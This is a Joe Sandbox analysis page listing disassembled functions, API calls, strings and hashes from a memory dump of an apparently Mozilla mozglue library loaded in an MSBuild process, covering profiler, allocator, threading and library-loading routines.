Instruction ID: d5f681611ffafad17bafab10894cd1ddd4f134dd4e8b384e23c3d5bcb0607de0
Opcode Fuzzy Hash: 2f1770e422884ede9668d4c9a439ad465273be8eec7f9b56672f426c299a68e0
Instruction Fuzzy Hash: C251E571A402646BEB10AB648C48FAFB77CDF86718F028568F905976C0DB74AD54CB91

Function 6CC0EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0EE60
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EE6D
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC0EEA5
CloseHandle.KERNEL32(?), ref: 6CC0EEB4
free.MOZGLUE(00000000), ref: 6CC0EEBB
GetCurrentThreadId.KERNEL32 ref: 6CC0EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0EECF

Part of subcall function 6CC0DE60: GetCurrentThreadId.KERNEL32 ref: 6CC0DE73
Part of subcall function 6CC0DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CBD4A68), ref: 6CC0DE7B
Part of subcall function 6CC0DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CBD4A68), ref: 6CC0DEB8
Part of subcall function 6CC0DE60: free.MOZGLUE(00000000,?,6CBD4A68), ref: 6CC0DEFE
Part of subcall function 6CC0DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC0DF38

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CC0EF1E
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EF2B
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EF59
GetCurrentThreadId.KERNEL32 ref: 6CC0EFB0
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EFBD
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EFE1
GetCurrentThreadId.KERNEL32 ref: 6CC0EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F000

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC0F02F

Part of subcall function 6CC0F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC0F09B
Part of subcall function 6CC0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC0F0AC
Part of subcall function 6CC0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC0F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CC0F008
[I %d/%d] profiler_stop, xrefs: 6CC0EED7

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 81d45913c6b8272c7e02e92f15f1b7810c0c3e29330218d2311c25d6a77ab0e2
Instruction ID: b39f693c9f91907705fdf1013fef939ee60648d9fe608d5ae3f3691edc8f0454
Opcode Fuzzy Hash: 81d45913c6b8272c7e02e92f15f1b7810c0c3e29330218d2311c25d6a77ab0e2
Instruction Fuzzy Hash: 665136357006149FDB00BB69D418BAA7BB4EB8632CF14C669E92583F40FF724808C7B6

Function 6CBFD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CC4E804), ref: 6CBFD047
GetSystemInfo.KERNEL32(?), ref: 6CBFD093
__Init_thread_footer.LIBCMT ref: 6CBFD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CC4E810,00000040), ref: 6CBFD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4E7B8,00001388), ref: 6CBFD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4E744,00001388), ref: 6CBFD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4E784,00001388), ref: 6CBFD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CC4E7DC,00001388), ref: 6CBFD1B1

Strings

<jemalloc>, xrefs: 6CBFD268, 6CBFD311
Compile-time page size does not divide the runtime one., xrefs: 6CBFD26D
MALLOC_OPTIONS, xrefs: 6CBFD0CB
MOZ_CRASH(), xrefs: 6CBFD277
: (malloc) Unsupported character in malloc options: ', xrefs: 6CBFD322

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 505e1e1f29cc31fdcac86948c724e0757ffdff6d2dbff39455c7665d26eb9271
Instruction ID: f8c692d907afd9a8cebf73100bc90c1da53f0e411acde8cdef8cfffa4a5377dd
Opcode Fuzzy Hash: 505e1e1f29cc31fdcac86948c724e0757ffdff6d2dbff39455c7665d26eb9271
Instruction Fuzzy Hash: 3F81E570B402409BEB00EF78E954B69B7F5EB4631CF12C52DE92197B80E775980ACBD2

Function 6CBD5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5E9D

Part of subcall function 6CBE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B85
Part of subcall function 6CBE5B50: EnterCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B90
Part of subcall function 6CBE5B50: LeaveCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5BD8
Part of subcall function 6CBE5B50: GetTickCount64.KERNEL32 ref: 6CBE5BE4

GetCurrentThreadId.KERNEL32 ref: 6CBD5EAB
GetCurrentThreadId.KERNEL32 ref: 6CBD5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CBD6017

Part of subcall function 6CBC4310: moz_xmalloc.MOZGLUE(00000010,?,6CBC42D2), ref: 6CBC436A
Part of subcall function 6CBC4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBC42D2), ref: 6CBC4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CBD5F47
GetCurrentProcess.KERNEL32 ref: 6CBD5F53
GetCurrentThread.KERNEL32 ref: 6CBD5F5C
GetCurrentProcess.KERNEL32 ref: 6CBD5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CBD5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CBD5F27

Part of subcall function 6CBDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBDCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBD55E1), ref: 6CBD5E8C

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBD55E1), ref: 6CBD605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBD55E1), ref: 6CBD60CC

Strings

GeckoMain, xrefs: 6CBD5ECE, 6CBD6015

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 0e3743d35f175f822ad2412568a03b5a2fad59909361ef0648ed2c115b8b83cd
Instruction ID: 3a032704f10fe746c1d5b4ba0da749c7f41c58090901651b13d03b5ea0d56100
Opcode Fuzzy Hash: 0e3743d35f175f822ad2412568a03b5a2fad59909361ef0648ed2c115b8b83cd
Instruction Fuzzy Hash: AB71B3B06057809FD710DF25C480A6ABBF0FF99308F55896DE5868BB52D731E948CB92

Function 6CBD9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CBC3217
Part of subcall function 6CBC31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CBC3236
Part of subcall function 6CBC31C0: FreeLibrary.KERNEL32 ref: 6CBC324B
Part of subcall function 6CBC31C0: __Init_thread_footer.LIBCMT ref: 6CBC3260
Part of subcall function 6CBC31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CBC327F
Part of subcall function 6CBC31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBC328E
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBC32AB
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBC32D1
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBC32E5
Part of subcall function 6CBC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBC32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBD9675
__Init_thread_footer.LIBCMT ref: 6CBD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBD9707
__Init_thread_footer.LIBCMT ref: 6CBD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBD97B7
FreeLibrary.KERNEL32 ref: 6CBD97D0
FreeLibrary.KERNEL32 ref: 6CBD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBD9670
ntdll.dll, xrefs: 6CBD96E3
NtMapViewOfSection, xrefs: 6CBD9701
MapViewOfFileNuma2, xrefs: 6CBD97B1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 1fc9608addbbfc655f628e2cb1877da7de7daf564832c6ebc9a69ceb3924577b
Instruction ID: 98fa798d9ad34f2d82863d2d901e8f1e657414f072f1d03f744e84c47f02618b
Opcode Fuzzy Hash: 1fc9608addbbfc655f628e2cb1877da7de7daf564832c6ebc9a69ceb3924577b
Instruction Fuzzy Hash: 9A61E671B00245AFDF00EFA5D994B9A7BB1EB4A31CF11C529ED1593B80DB34A854CB92

Function 6CBD7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CBD8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CBD801D

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CBD802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CBD803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CBD808D

Part of subcall function 6CBDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBDCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CBD809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CBD80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CBD80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CBD8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CBD8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CBD8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CBD817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBD8199

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: ac153717f25cb096bc333c73529c83094487b913dfb2175a808a86425f2a7ca0
Instruction ID: ddbf7099a03d1ced8aece3a949797f393d46ef970505bfa18a394307be02f5e6
Opcode Fuzzy Hash: ac153717f25cb096bc333c73529c83094487b913dfb2175a808a86425f2a7ca0
Instruction Fuzzy Hash: 4F51C4B2E002549BDB00DFA9DC84AEFB7B9EF49364F151125E815E7740E731A908CBA1

Function 6CBD11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6CBD1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBD1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6CBD12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6CBD1327

Strings

&, xrefs: 6CBD126B
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6CBD131B
MZx, xrefs: 6CBD11E1
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6CBD12AD
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6CBD120D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 20e16677cc8053b4401af3049c200b95657933c43174b7bc13e2ef9590932701
Instruction ID: 1bfaf41f55f5fcb630c911332e2f5f4d815cc81c800b79587e6e583b76a91e5f
Opcode Fuzzy Hash: 20e16677cc8053b4401af3049c200b95657933c43174b7bc13e2ef9590932701
Instruction Fuzzy Hash: 9571C471E057988ADB209FB4D8007DEB7F1BF45329F09465ED449A3B40D734BA89CB92

Function 6CBC31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CBC3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CBC3236
FreeLibrary.KERNEL32 ref: 6CBC324B
__Init_thread_footer.LIBCMT ref: 6CBC3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CBC327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBC328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBC32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CBC32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CBC32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CBC32F7

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

__aulldiv.LIBCMT ref: 6CBC346B

Strings

KernelBase.dll, xrefs: 6CBC3212
QueryInterruptTime, xrefs: 6CBC3230

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 4583cbe2f7e715d3c936727f11411577f8b362beed3206e3ce7b678eb4ec0593
Instruction ID: 0fcb18f84b3bc6f2a07d9514c7a9bf3a93c1a3cd420b087f1c716556019b50df
Opcode Fuzzy Hash: 4583cbe2f7e715d3c936727f11411577f8b362beed3206e3ce7b678eb4ec0593
Instruction Fuzzy Hash: 5F61F171A087818FC711DF38C45169AB3F4FFC6398F61CB1DE8A5A3690EB3195498B42

Function 6CC26660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CC4F618), ref: 6CC26694
GetThreadId.KERNEL32(?), ref: 6CC266B1
GetCurrentThreadId.KERNEL32 ref: 6CC266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CC266E1
EnterCriticalSection.KERNEL32(6CC4F618), ref: 6CC26734
GetCurrentProcess.KERNEL32 ref: 6CC2673A
LeaveCriticalSection.KERNEL32(6CC4F618), ref: 6CC2676C
GetCurrentThread.KERNEL32 ref: 6CC267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CC26868
RtlCaptureContext.NTDLL ref: 6CC2687F

Strings

WalkStack64, xrefs: 6CC26890

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6f7dd035ea437dc72ede2f7169587367f79e8e75f4ce6d7e0ef4bc32360ca4a8
Instruction ID: 4de90eaf6b044d8a33516e16d15573ccb138eb35ed21ae52ff210cb60a1b674b
Opcode Fuzzy Hash: 6f7dd035ea437dc72ede2f7169587367f79e8e75f4ce6d7e0ef4bc32360ca4a8
Instruction Fuzzy Hash: 9851AC71A09B01AFD711DF25C844B5EBBF4FF89718F00892DF99987640E774E9088BA2

Function 6CC0DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0DE73
GetCurrentThreadId.KERNEL32 ref: 6CC0DF7D
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0DF8A
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0DFC9
GetCurrentThreadId.KERNEL32 ref: 6CC0DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CBD4A68), ref: 6CC0DE7B

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CBD4A68), ref: 6CC0DEB8
free.MOZGLUE(00000000,?,6CBD4A68), ref: 6CC0DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CC0DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CC0DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CC0E00E
<none>, xrefs: 6CC0DFD7

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
